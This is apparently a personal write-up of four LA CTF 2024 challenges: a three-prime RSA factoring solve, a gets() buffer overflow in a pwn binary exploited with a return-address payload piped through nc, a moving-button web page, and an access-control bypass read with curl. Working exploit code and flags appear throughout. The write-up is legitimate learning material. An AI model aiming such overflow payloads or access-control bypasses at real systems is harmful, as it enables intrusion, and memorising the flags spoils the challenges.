Been a long, long time since I last touched CTFs. It wasn’t any official team by any means, so I had to do multiple categories by myself in the few hours limited weekend time I had for the CTF. The placing wasn’t anything close to the top so I would skip the mention this time.
Crypto
Very Hot
Category: Web | 418 solves | 216 points
Challenge Description
I didn't think that using two primes for my RSA was sexy enough, so I used three.This is a multi-prime RSA challenge.
It follows the same concept of the typical 2 primes.
src.py
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from flag import FLAG
FLAG = bytes_to_long(FLAG.encode())
p = getPrime(384)
while(not isPrime(p + 6) or not isPrime(p + 12)):
p = getPrime(384)
q = p + 6
r = p + 12
n = p * q * r
e = 2**16 + 1
ct = pow(FLAG, e, n)
print(f'n: {n}')
print(f'e: {e}')
print(f'ct: {ct}')
out.txt
n: 10565111742779621369865244442986012561396692673454910362609046015925986143478477636135123823568238799221073736640238782018226118947815621060733362956285282617024125831451239252829020159808921127494956720795643829784184023834660903398677823590748068165468077222708643934113813031996923649853965683973247210221430589980477793099978524923475037870799
e: 65537
ct: 9953835612864168958493881125012168733523409382351354854632430461608351532481509658102591265243759698363517384998445400450605072899351246319609602750009384658165461577933077010367041079697256427873608015844538854795998933587082438951814536702595878846142644494615211280580559681850168231137824062612646010487818329823551577905707110039178482377985
From this, we can interpret that the ϕ(n) is the product of 3 primes p, q=p+6, and r=p+12. The public exponent e was set to the common value.
The solution was to factor n, like most introductory crypto challenges. Using basic math, we can make an equation for p.
q = p + 6
r = p + 12
eq = p * q * r - n
sol = solve(eq, p)
We get the result of
p=21942765653871439764422303472543530148312720769660663866142363370143863717044484440248869144329425486818687730842077
Using the same equation in line 3, we can write ϕ(n) as ϕ(n) = (p-1) x (q-1) x (r-1), an elementary quadratic equation.
By using the modular inverse of ϕ(n) via mod_inverse(e, phi_n), the value of the private key d can be calculated, which leads us to the flag.
solve.py
from sympy import symbols, solve, mod_inverse
n = 10565111742779621369865244442986012561396692673454910362609046015925986143478477636135123823568238799221073736640238782018226118947815621060733362956285282617024125831451239252829020159808921127494956720795643829784184023834660903398677823590748068165468077222708643934113813031996923649853965683973247210221430589980477793099978524923475037870799
e = 65537
ct = 9953835612864168958493881125012168733523409382351354854632430461608351532481509658102591265243759698363517384998445400450605072899351246319609602750009384658165461577933077010367041079697256427873608015844538854795998933587082438951814536702595878846142644494615211280580559681850168231137824062612646010487818329823551577905707110039178482377985
p = symbols('p', integer=True)
q = p + 6
r = p + 12
eq = p * q * r - n
sol = solve(eq, p)
p_value = sol[0]
q_value = p_value + 6
r_value = p_value + 12
phi_n = (p_value - 1) * (q_value - 1) * (r_value - 1)
d = mod_inverse(e, phi_n)
flag = pow(ct, d, n)
flag_bytes = flag.to_bytes((flag.bit_length() + 7) // 8, 'big')
print(flag_bytes)
FLAG
lactf{th4t_w45_n0t_so_53xY}Pwn
Aplet123
Category: Pwn | 251 solves | 338 points
Challenge Description
bliutech: Can we get ApletGPT?me: No we have ApletGPT at home.
ApletGPT at home:
nc chall.lac.tf 31123
aplet123.c (shortened by me)
void print_flag(void) {
char flag[256];
FILE *flag_file = fopen("flag.txt", "r");
fgets(flag, sizeof flag, flag_file);
puts(flag);
}
int main(void) {
setbuf(stdout, NULL);
srand(time(NULL));
char input[64];
puts("hello");
while (1) {
gets(input);
char *s = strstr(input, "i'm");
if (s) {
printf("hi %s, i'm aplet123\n", s + 4);
} else if (strcmp(input, "please give me the flag") == 0) {
puts("i'll consider it");
sleep(5);
puts("no");
} else if (strcmp(input, "bye") == 0) {
puts("bye");
break;
} else {
puts(responses[rand() % (sizeof responses / sizeof responses[0])]);
}
}
}
print_flag function from IDA
public print_flag
print_flag proc near
stream= qword ptr -118h
s= byte ptr -110h
var_8= qword ptr -8
; __unwind {
push rbp
mov rbp, rsp
sub rsp, 120h
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
lea rax, modes ; "r"
mov rsi, rax ; modes
lea rax, filename ; "flag.txt"
mov rdi, rax ; filename
call _fopen
mov [rbp+stream], rax
mov rdx, [rbp+stream] ; stream
lea rax, [rbp+s]
mov esi, 100h ; n
mov rdi, rax ; s
call _fgets
lea rax, [rbp+s]
mov rdi, rax ; s
call _puts
nop
mov rax, [rbp+var_8]
sub rax, fs:28h
jz short locret_40125F
We can determine that the buffer size is
Getting the flag address:
$ objdump -D aplet123 | grep print_flag
00000000004011e6 <print_flag>:
401258: 74 05 je 0x40125f <print_flag+0x79>
Little-endian format would be \xe6\x11\x40\x00\x00\x00\x00\x00.
Writing the buffer overflow…
python -c 'import sys; sys.stdout.buffer.write(b"A"*272 + b"\xe6\x11\x40\x00\x00\x00\x00\x00")' | nc chall.lac.tf 31123
Which leads to the flag.
FLAG
Web
Terms and Conditions
Category: Web | 747 solves | 107 points
Challenge Description
Welcome to LA CTF 2024! All you have to do is accept the terms and conditions and you get a flag!terms-and-conditions.chall.lac.tf
view-source
const accept = document.getElementById("accept");
document.body.addEventListener("touchstart", (e) => {
document.body.innerHTML = "<div><h1>NO TOUCHING ALLOWED</h1></div>";
});
let tx = 0;
let ty = 0;
let mx = 0;
let my = 0;
window.addEventListener("mousemove", function (e) {
mx = e.clientX;
my = e.clientY;
});
setInterval(function () {
const rect = accept.getBoundingClientRect();
const cx = rect.x + rect.width / 2;
const cy = rect.y + rect.height / 2;
const dx = mx - cx;
const dy = my - cy;
const d = Math.hypot(dx, dy);
const mind = Math.max(rect.width, rect.height) + 10;
const safe = Math.max(rect.width, rect.height) + 25;
if (d < mind) {
const diff = mind - d;
if (d == 0) {
tx -= diff;
} else {
tx -= (dx / d) * diff;
ty -= (dy / d) * diff;
}
} else if (d > safe) {
const v = 2;
const offset = Math.hypot(tx, ty);
const factor = Math.min(v / offset, 1);
if (offset > 0) {
tx -= tx * factor;
ty -= ty * factor;
}
}
accept.style.transform = `translate(${tx}px, ${ty}px)`;
}, 1);
let width = window.innerWidth;
let height = window.innerHeight;
setInterval(function() {
if (window.innerHeight !== height || window.innerWidth !== width) {
document.body.innerHTML = "<div><h1>NO CONSOLE ALLOWED</h1></div>";
height = window.innerHeight;
width = window.innerWidth;
}
}, 10);
The “Accept” button is set to move away from your mouse pointer so all you have to do is access it via JavaScript.
Solution
document.getElementById("accept").click()
FLAG
lactf{that_button_was_definitely_not_one_of_the_terms}Flaglang
Category: Web | 588 solves | 137 points
Challenge Description
Do you speak the language of the flags?flaglang.chall.lac.tf
The strategy was to read the source files and web source.
countries.yaml
%YAML 1.1
---
Flagistan:
iso: FL
msg: "<REDACTED>"
password: "<REDACTED>"
deny: [List of all other country ISO codes]
We learn that the country name for the flag is Flagistan.
I wasted some time here by writing a script to check for countries not listed in the denylist.
with open('countries.yaml', 'r',encoding='utf-8') as file:
countries_data = yaml.safe_load(file)
iso_codes_list = []
for country, details in countries_data.items():
iso_codes_list.append(details['iso'])
countries_not_denied_by_flagistan = [iso for iso in iso_codes_list if iso not in flagistan_deny_list]
print(countries_not_denied_by_flagistan)
But alas, the deny list included every other country present in the YAML file.
Checking the source files of the webpage:
flag.js
// set value of country we are viewing
$('.other-flag select')[0].addEventListener('change', async (e) => {
const newCountry = e.target.value;
const resp = await fetch('/view?country=' + encodeURIComponent(newCountry))
.then(r => r.json());
if ('err' in resp) {
$('.error')[0].style.display = 'block';
$('.error')[0].textContent = resp.err;
}
else {
$('.error')[0].style.display = 'none';
$('.other-flag span')[0].textContent = resp.msg;
$('.other-flag img')[0].src = flagSrc(resp.iso);
}
});
Country can be viewed directly from the /view? endpoint.
Hence the solution is:
$ curl https://flaglang.chall.lac.tf/view?country=Flagistan
{"msg":"lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}","iso":"FL"}